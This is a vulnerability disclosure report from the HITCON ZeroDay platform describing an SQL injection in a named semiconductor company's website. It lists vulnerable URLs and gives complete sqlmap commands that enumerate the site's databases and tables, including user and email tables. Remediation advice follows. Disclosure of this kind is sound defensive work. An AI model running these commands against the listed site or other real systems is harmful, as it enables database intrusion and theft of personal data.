「森美特半导体股份有限公司 网站数据库注入漏洞」 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2022-00552
  •  發信 Vendor: 森美特半导体股份有限公司
  • Title: 「森美特半导体股份有限公司 网站数据库注入漏洞」
  • Introduction: 网站的一些子页面存在sql注入

處理狀態

目前狀態

公開
Last Update : 2022/09/30
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2022/07/31 14:30:56 : 新提交 (由 rain3 更新此狀態)
  • 2022/07/31 14:35:16 : 新提交 (由 rain3 更新此狀態)
  • 2022/07/31 14:37:21 : 新提交 (由 rain3 更新此狀態)
  • 2022/07/31 14:39:02 : 新提交 (由 rain3 更新此狀態)
  • 2022/07/31 14:40:21 : 新提交 (由 rain3 更新此狀態)
  • 2022/07/31 14:41:28 : 新提交 (由 rain3 更新此狀態)
  • 2022/07/31 14:42:04 : 新提交 (由 rain3 更新此狀態)
  • 2022/07/31 14:42:30 : 新提交 (由 rain3 更新此狀態)
  • 2022/07/31 14:42:55 : 新提交 (由 rain3 更新此狀態)
  • 2022/07/31 14:43:23 : 新提交 (由 rain3 更新此狀態)
  • 2022/07/31 14:43:49 : 新提交 (由 rain3 更新此狀態)
  • 2022/07/31 14:44:22 : 新提交 (由 rain3 更新此狀態)
  • 2022/07/31 14:44:58 : 新提交 (由 rain3 更新此狀態)
  • 2022/08/01 08:54:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/08/01 15:56:22 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/08/01 15:56:22 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/08/01 15:56:22 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/09/30 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2022-00552
  • 通報者:jlzx (rain3)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://sunmate.tw/tw/info/?id=9
http://sunmate.tw/tw/application/index1.php?id=10
http://sunmate.tw/tw/products/pro.php?tid=125&sid=16

敘述

森美特半导体股份有限公司官网漏洞

漏洞类型

截屏2022-07-31 上午9.52.01.png
图1-1

截屏2022-07-31 上午9.53.10.png
图1-2

截屏2022-07-31 上午9.51.16.png
图1-3

漏洞挖掘

验证漏洞

  • 在手工测试存在SQL注入后,利用工具sqlmap再次进行测试,这里url选择的是网站3
  • 执行语句:sqlmap -u 'http://sunmate.tw/tw/products/pro.php?tid=125&sid=16' --skip-static --level=5 --risk=3 --technique=EUSTQ --threads=3 --tamper=schemasplit.py --random-agent,测试结果如图图2-1所示:

截屏2022-07-31 上午11.22.22.png
图2-1

  • 通过测试结果发现确实存在SQL注入,并且为注入类型为:报错注入和联合注入

    获取数据库名

  • 在上一步测试中,发现确实存在SQL注入后,进行更深层次的挖掘

  • 执行语句:sqlmap -u 'http://sunmate.tw/tw/products/pro.php?tid=125&sid=16' --skip-static --level=5 --risk=3 --technique=EUSTQ --threads=3 --tamper=schemasplit.py --random-agent --dbs,测试结果如图图2-2所示:

截屏2022-07-31 上午11.28.50.png
图2-2

  • 数据库名被爆破出来,sunmate

    获取数据库中的表名

  • 在获取数据库名后,本着验证该数据库漏洞的危险等级,进行了更深入的挖掘

  • 执行命令:sqlmap -u 'http://sunmate.tw/tw/products/pro.php?tid=125&sid=16' --skip-static --level=5 --risk=3 --technique=EUSTQ --threads=3 --tamper=schemasplit.py --random-agent --dbs --tables -D sunmate,测试结果如图图2-3所示:

截屏2022-07-31 上午11.31.50.png
图2-3

  • sunmate数据库中有28张表,其中发现一些含有敏感信息的表名,如ry_userinfo,ry_email,ry_products等

  • 测试到此为止,不再深入挖掘数据库信息,验证已经存在高危漏洞

    影响

  • 敏感信息泄露,如用户信息,产品信息等

  • 攻击者通过sql注入控制数据库服务器中所有的数据,进行任意篡改。严重情况下可能通过SQL注入对服务器进行提权,进而拿下整台服务器。

修補建議

购买网站waf提供防护,代码执行使用预编译,过滤掉sql语句关键字。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;